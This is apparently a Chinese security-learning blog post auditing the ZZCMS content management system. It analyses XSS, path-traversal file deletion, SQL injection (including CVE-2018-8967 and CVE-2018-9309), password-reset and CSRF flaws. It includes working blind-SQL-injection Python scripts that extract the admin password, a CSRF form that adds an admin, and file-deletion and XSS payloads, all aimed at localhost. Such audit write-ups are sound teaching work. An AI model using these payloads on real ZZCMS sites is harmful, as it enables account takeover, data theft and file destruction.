ZZCMS基础
核心文件:
inc/fuction.php 全局函数文件
inc/config.php 常量配置文件
inc/conn.php 数据库连接配置文件,其中还包含了funcion.php功能函数及stopsqlin.php 过滤sql语句 对所有get post 等收到的数据进行消毒
在zzzms中的php文件中几乎都会包含conn.php check.php,check.php 是判断用户是否登入
adv.php 设置和修改广告词 包括对图片的修改与上传
adv2.php抢占广告位
zhadd.php 发展会 交给zhsave.php 处理
msg_manage.php 管理群发
msg.php 进行群发
ZZCMS的数据库
zzcms_ad 存储 抢占广告位的 信息
zzcms_zh 存储展会所属的用户的有关信息
zzcms_zhclass 存储展会的类别
zzcms_pp 存储 发布的品牌 及上传的图片的地址
zzcms_main 储存招商信息
zzcms 8.2
前言:
ZZCMS 8.2可以说是学习代码审计的一个练手cms了 整个cms读通不需要花太多时间 而且本身也包含了很多漏洞 XXS sql注入 任意文件删除等等
XSS
漏洞文件: /install/step_6.php
漏洞原因: 没有进行安全过滤
漏洞分析:
在step6这里,会输出$admin $adminpwdtrue 这两个变量的值
然后在install/index.php,把数组中的键名直接注册为了变量
通俗来讲就是如果POST一个admin = 1 就会把admin 注册为变量使用 且值为1
接着往下看 在switch语句中 如果到了步骤case 6 就会包含step_6.php
在安装cms时只是依次判断,接着进行相应的包含,在数据的传递中没有进行安全处理
漏洞复现:
在/index.php中post相应的step的值会进行相应的文件包含
成功触发XSS
漏洞文件: /zx/show.php
漏洞原因: 直接拼接,没有用引号包裹
漏洞分析:
zx目录是资讯页面 show.php 的功能是显示发布的资讯文章及对此文章进行评论
在23行起 先判断要取得文章id 然后从数据库取出 显示出来 其中 coutent 被取出来然后加入stripfxg()处理
跟进stripfxg() 在/inc/stopsqlin.php 其功能是还原被实体化的数据
继续用Seay审计系统在show.php对countent 进行追踪 发现调用showcontent和Payjf等方法,输出到页面上,但是这些方法没有对一些危险字符进行安全处理
这就造成了数据在进行实体化存入数据库然后还原成原来的数据没有进行过滤,会导致注入语句被成功执行
漏洞复现
在注册一个用户test 在发布资讯或者公司新闻 点击源码再发送XSS注入代码
发布成功之后点击浏览 发现成功触发JS
任意文件删除
漏洞文件: /user/adv.php,/user/licence_save.php,/user/ppsave.php 等具有文件上传功能的文件
漏洞原因: . 和 / 字符没有过滤而导致夸目录删除文件
漏洞分析:
在个人中心里面,有很多上传图片的功能及对图片进行修改,这些文件上传功能的代码几乎都没有进行过滤验证,就导致了夸目录删除文件
比如在 /user/ppsave.php
这里仅仅只是判断了oldimg 与img 是否相等 不相等就删除oldimg 而且 oldimg 与 img 是通过POST接收,只是trim一下没有进行任何对 . / 等危险字符进行过滤,而且进行伪造 过分相信了用户的输入
漏洞复现:
我们在个人中心 随便找一个 可以上传文件的页面 就拿adv.php 这个页面 我们点击修改 然后抓包 修改 oldimg 与img 为了便于测试 我们先建一个test文件夹 然后在里面新建一些文件
修改oldimg = test/test.txt
可以看到我们的test.txt 被删除了
在ZZcms8.2 版本中上传功能代码几号都是那样写的 这样就导致了很多有上传功能的文件 都是有漏洞的
sql注入
漏洞文件: /user/adv2.php CVE:CVE-2018-8967
漏洞原因: 直接拼接,没有用引号包裹
漏洞分析:
在72行可看到 直接拼接POST进来的值且 没有用引号包裹 这就造成了虽然开头包含了过滤sql注入文件对所有get,post 进行消毒,但是又是直接拼接因为没有用引号包裹,所以不用单引号也可以直接进行sql注入。
要想进入这个语句,需要满足 $a+$c >0
即在zzcms_zh或者zzcms_main表查询到有记录
漏洞复现:
先确保
- zzcms_zh或者zzcms_main表有数据 不然无法进入执行sql语句
- zzcms_ad 表有数据 如果为空时 后面的盲注将不会有任何延迟
我们先注册企业用户在个人中心点击抢占广告位(没有可登入后台进行添加) 然后点击抢占这个位置时进行抓包
可以看到 会POST一个id交给adv2.php,接下来构造盲注
右下角看到延迟10秒,说明执行成功 POC如下
import requests
import time
url = "http://127.0.0.1/user/adv2.php?action=modify"
flag = ""
for j in xrange(1,20):
for i in xrange(31,128):
payload = "id=1 or if(select ascii(substr(pass,{num},1)) from zzcms_admin) = {index},sleep(5),1)%23".format(num=j,index=i)
strart_time = time.time()
r = requests.post(url,data=payload,headers={"Content-Type":"application/x-www-form-urlencoded"})
end_time = time.time()
cost = end_time - strart_time
if cost > 5:
flag +=chr(i)
print flag
break
print 'flag is %s ' % flag
漏洞文件: /dl/dl_sendmail.php
漏洞原因: 直接拼接进sql语句中 没有进行过滤 使用危险函数stripfxg()
CVE: CVE-2018-9309
漏洞分析:
此文件是给代理发邮件时会将数据发送给dl_sendmail.php处理
从POST接受过来的sql 进行stripfxg()处理然后赋给了session 最后拼接 执行sql语句,且没有用号包裹,在之前就分析分析过这个方法
这是将被转义的字符还原 简单来说就是 输入 ‘ 如果经过转义 到数据库会变为 ‘\ 取出来查看是否进过转义 还原为 ‘ 呈现给用户
使用了这个危险函数stripfxg() 他可以将全局过滤还原成正常的数据,如果这个数据带入了sql查询中,会直接造成注入的。
漏洞复现:
进行复现时要保证 zzcms_msg 有数据 且 有个elite 属性值为1
点击发邮件 然后抓包 修改sql 内容
这里我用的盲注,可看到成功延迟10秒
漏洞文件: www/user/del.php
漏洞原因: 直接拼接进sql语句中
CVE: CVE-2018-9309
漏洞分析:
将del.php 放入Seay审计系统可清楚的知道此文件有哪些变量 方便进行审计
首先对传入的pagename,tablename 进行了简单去空处理 id 被chekid()函数进行了处理,找到checkid()
对id进行了过滤,接着在switch语句中 sql语句只有对id进行拼接操作 也不存在sql注入 接着往下看 当$tablename不满足if和elseif 的条件的时候,发现我们传入的tablename 直接被拼接到了sql语句当中并且tablename变量也没有用单引号包裹 没有进行任何过滤
漏洞复现:
先注册一个账户 test(不用注册登入也是可以进行注入的) 然后点击发公司新闻先发布一条信息,在数据库查看 发现 已经存入数据库当中
接下来我们再删除这条信息的时候抓包
看到 删除的时候会将tablename 发送给del.php 处理 于是构造sql注入
post:1
id=1&tablename=zzcms_zx where id=1 union select 1,2 and if((ascii(substr(user(),1,1)) = 114),sleep(10),1)#
用union语句 以免因为前面的select 语句为空而注入失败
右下角显示延迟10 秒 说明成功注入
这里需要注意 不能用 大于号和小于号 前面已经说过这个cms会在 inc/stopsqlin.php 中 用addslashes()、htmlspecialchars() 对get 和 post 过来的值进行处理
POC如下 py2环境下成功运行1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19import requests
import time
url = "http://127.0.0.1/user/del.php"
flag = ""
for j in xrange(1,20):
for i in xrange(31,128):
payload = "id=1&tablename=zzcms_zx where id=1 union select 1,2 and if(ascii(substr(database(),{num},1)) = {index},sleep(5),1)%23".format(num=j,index=i)
strart_time = time.time()
r = requests.post(url,data=payload,headers={"Content-Type":"application/x-www-form-urlencoded"})
end_time = time.time()
cost = end_time - strart_time
if cost > 5:
flag +=chr(i)
print flag
break
print 'flag is %s ' % flag
漏洞文件: /user/check.php
漏洞原因: getip()中没有进行过滤
漏洞分析:
check.php 是个检查用户登入状态文件 很多文件都包含此文件
这行sql语句调用了getip()来获取ip值,接着看看这个函数
发现只是单纯的从HTTP直接换取ip值 没有进行过滤 接下来进行XFF注入
漏洞复现:
只要包含了check.php 都可以进行XFF注入
X-Forwarded-For’:1’or sleep(7)
任意用户密码修改
漏洞文件: /one/getpassword.php
漏洞分析:
getpassword.php 是用来找回密码功能的文件代码
通过判断$action的值来进行相应的步骤
在73行起 如果$action=step3 $_SESSION['username']
不为空 然后就进行update操作$_SESSION['username']
又是从step1 中 post传递过来的 username,就导致了username可控
漏洞复现:
首先第一步 先输入要找回密码的用户名 点击下一步时抓包
这样就有了session值
然后将action改为step3 修改POST数据 password的值就是修改的密码
可以看到 test用户密码修改成功 然后进行登入 登入成功
ZZCMS 8.3
首先看官网对之前版本的处理
虽然更新到8.3 但是还是存在很多 漏洞 有些在8.2存在的漏洞在8.3也没有解决
所以很多漏洞在8.2版本也就有了
可以看到 /dl/dl_sendmail.php 这个sql漏洞在8.3还存在
CSRF
其实这个也在8.2存在,整个CMS管理后台设计操作的表单没有设置token验证,导致了可以进行夸站请求伪造
漏洞复现:1
2
3
4
5
6
7
8
9
10
11
12<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/test/adminadd.php?action=add" method="POST">
<input type="hidden" name="groupid" value="1" />
<input type="hidden" name="admins" value="123" />
<input type="hidden" name="passs" value="123" />
<input type="hidden" name="passs2" value="123" />
<input type="submit" value="Submit request" />
</form>
</body>
</html
如果管理员点击,就会添加管理员用户
ZZCMS 2018
任意文件删除漏洞
CVE-2019-8411
漏洞文件 /admin/dl_data.php
漏洞分析
看到这个这个漏洞,我再回过头看8.2和8.3 版本 的源代码 发现原来是早就在8.2存在的漏洞
直接从get获取filename的值 拼接到$fp 也没有用单引号包裹 然后直接进行文件删除
漏洞复现:
首先在wwww目录下新建test目录,在test目录下建一个yang.txt文件,然后在浏览器输入
1 | http://127.0.0.1/admin/dl_data.php?action=del&filename=../test/yang.txt |
发现,yang.txt已经被删除了
zzcms 2019
在对2019版本随便测试了一下
发现2019版本还是有一部分在8.2存在的XSS漏洞漏洞还没修复
xss
这个存储型xss注入漏洞 是在前不久爆出来的 比cms官网写的最新更新时间晚 说明这个漏洞还没修复,可是当我去官网下载这个cms进行复现时复现不了 发现已经被悄悄修复了 哼~ 所以只能讲下原理
漏洞文件 /user/ask.php // 这是个发问答的功能文件
漏洞分析1
2
3
4
5
6
$do=isset($_GET['do'])?$_GET['do']:'';
switch ($do) {
case "add":add();break;
case "modify":modify();break;
}
找到modify()
再跟进markit() 在 /inc/function.php
可以看到,这个url 没有进行 过滤 直接插入到了 语句中
接下来在url中构造xss代码1
url&page=1&id=1&aaa=<sCrIpT>alert( )</ScRiPt> zzmcs ask.php?do=modify
当管理员访问后台查看不良数据时会触发XSS漏洞
代码审计经验
在分析cms 或者是很长的代码时 用seay 等审计系统进行追踪调试 更方便清晰
对用户可控的数据 利用审计系统进行追踪 看看进行了哪些包装过滤,并分析这些函数是否有漏洞可绕过
关注 功能代码,配置文件,比如看看过滤sql注入功能的代码 数据库连接时是否出现漏洞
分析各类漏洞可能使用的危险函数,寻找这些能够产生漏洞的函数进行分析 比如unlink(),fread(),eval(),preg_replace(),query()等等
查看是否存在逻辑漏洞,比如 程序是否可以重复安装 ,修改密码是否存在越权修改其他用户密码,找回密码验证码是否可以暴力破解, 验证存在绕过
要学会经常复现 复现会遇到问题 你的问题有可能与别人的不一样 你测试成功payload语句和poc也有可能与别人不一样
在进行对某个cms进行审计时 可以去看看这个cms官网的历史更新版本即历史漏洞,